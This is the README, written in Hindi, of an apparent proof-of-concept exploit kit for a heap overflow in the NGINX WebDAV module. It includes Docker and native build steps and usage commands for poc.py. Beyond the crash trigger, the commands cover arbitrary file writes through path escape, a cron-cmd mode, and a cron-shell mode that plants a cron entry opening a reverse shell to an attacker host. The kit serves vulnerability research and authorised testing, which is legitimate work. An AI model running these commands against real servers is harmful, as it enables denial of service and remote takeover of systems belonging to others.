
NGINX `ngx_http_dav_module` में `size_t` अंडरफ्लो के माध्यम से हीप बफर ओवरफ्लो (रिमोट DoS / संभावित RCE)
NGINX ngx_http_dav_module में size_t अंडरफ़्लो के माध्यम से हीप बफ़र ओवरफ़्लो (रिमोट DoS / संभावित RCE)
src/http/modules/ngx_http_dav_module.c में ngx_http_dav_copy_move_handler()
Destination हेडर के URI पथ घटक से लोकेशन प्रीफ़िक्स लंबाई घटाकर गंतव्य URI
लंबाई की गणना करता है। दोनों मान size_t (अहस्ताक्षरित 64-बिट) हैं। जब गंतव्य
पथ लोकेशन प्रीफ़िक्स से छोटा होता है, तो घटाव ~0 पर रैप हो जाता है, जिससे एक
विशाल memcpy लंबाई उत्पन्न होती है जो 7-बाइट हीप आवंटन को ओवरफ़्लो करती है और
वर्कर प्रोसेस को क्रैश कर देती है।
alias-मैप किए गए DAV लोकेशन पर एक एकल क्राफ्ट किया गया MOVE या COPY
अनुरोध ओवरफ़्लो को ट्रिगर करता है। nginx मास्टर वर्कर को पुनः स्पॉन करता है,
लेकिन बार-बार अनुरोध सर्वर को निरंतर क्रैश लूप में रखते हैं।
ASan पुष्टि करता है: ngx_http_core_module.c:1949 में memcpy पर
negative-size-param: (size=-7), जिसे ngx_http_dav_copy_move_handler से कॉल किया गया।
प्रभावित: nginx 0.5.13 से 1.28.2 (स्थिर) और 1.29.0 से 1.29.6
(मेनलाइन), --with-http_dav_module के साथ कंपाइल किया गया और DAV लोकेशन में
alias का उपयोग करता हुआ। 1.28.3 / 1.29.7 (कमिट ab4b5b8, PR #1210) में ठीक किया गया।
# Docker (recommended -- builds vulnerable nginx from source):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080
# Native (builds nginx 1.28.2 from source, no Docker):
./run.sh # non-ASan build (observes SIGSEGV crash)
./run.sh --asan # ASan build (definitive proof)
./run.sh --both # run both sequentially
# Against an existing vulnerable nginx instance:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put # if trigger file already exists
python3 poc.py --target <HOST:PORT> --verbose
डिफ़ॉल्ट मोड विहित क्रैश ट्रिगर बना रहता है। यह PUT भेजता है और उसके बाद
एक क्राफ्ट किया गया MOVE भेजता है जिसका Destination पथ DAV लोकेशन प्रीफ़िक्स
से छोटा होता है:
python3 poc.py --target <HOST:PORT> --mode crash \
--location-prefix /uploads/ --destination-path /x --alias-len 13
अधिकृत प्रयोगशाला कॉन्फ़िगरेशन के लिए जहाँ DAV गंतव्य हैंडलिंग सापेक्ष गंतव्य
एस्केप की अनुमति देती है, वही टूल चुने गए पथ पर हमलावर-नियंत्रित सामग्री पहुँचा
सकता है। सटीक --location-prefix, --escape-depth और गंतव्य पथ आपके अपने सेवा
कॉन्फ़िगरेशन और रिकॉन से आना चाहिए:
# Write literal content to a chosen path through COPY/MOVE destination handling.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/dav-proof.txt --payload-text proof
# Write bytes from a local file.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/payload.bin --payload-file ./payload.bin
# Deliver a cron entry that opens a reverse shell.
python3 poc.py --target <HOST:PORT> --mode cron-shell \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-shell \
--lhost <ATTACKER_IP> --lport 4444
# Deliver a one-shot cron command for non-interactive authorized proof.
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-proof \
--cron-command 'id > /tmp/dav-root-proof.out'
write-file, cron-shell और cron-cmd अधिकृत वातावरणों के लिए सामान्य
डिलीवरी सहायक हैं जिनमें लिखने योग्य DAV सोर्स और गंतव्य पथ एस्केप होता है।
विहित हीप-ओवरफ़्लो क्रैश साबित करने के लिए इनकी आवश्यकता नहीं है।
--with-http_dav_module के साथ कंपाइल किया गया nginx, लोकेशन ब्लॉक alias (न कि root) का उपयोग करते हुए, dav_methods में COPY या MOVE शामिल होrequests का उपयोग किया जाता है, अन्यथा PoC सादे HTTP लक्ष्यों के लिए Python मानक लाइब्रेरी पर वापस चला जाता है।gcc, make, libpcre2-dev, libssl-dev, zlib1g-dev, wgetयह परियोजना GNU GPLv3 के अंतर्गत जारी की गई है।
इसे रक्षात्मक सुरक्षा अनुसंधान, शिक्षा और अधिकृत परीक्षण के लिए प्रदान किया गया है। मालिक की स्पष्ट अनुमति के बिना इस कोड का उपयोग सिस्टम या सेवाओं के विरुद्ध न करें।
अनधिकृत उपयोग लागू कानून का उल्लंघन कर सकता है। लेखक तृतीय-पक्ष सिस्टम का परीक्षण करने की अनुमति नहीं देते हैं और दुरुपयोग के लिए ज़िम्मेदार नहीं हैं।
वारंटी और दायित्व शर्तों के लिए LICENSE फ़ाइल देखें।
| फ़ाइल | विवरण |
|---|
poc.py | Python PoC -- विहित क्रैश ट्रिगर के साथ-साथ सामान्य COPY/MOVE गंतव्य मोड |
run.sh | nginx को सोर्स से बिल्ड करता है (ASan / non-ASan) और PoC चलाता है |
Dockerfile | असुरक्षित nginx 1.28.2 का मल्टी-स्टेज बिल्ड |
docker-compose.yml | एक-कमांड Docker सेटअप |
nginx.conf | असुरक्षित कॉन्फ़िगरेशन (alias + dav_methods COPY MOVE) |
proof_output.txt | लाइव सत्यापन से ASan आउटपुट |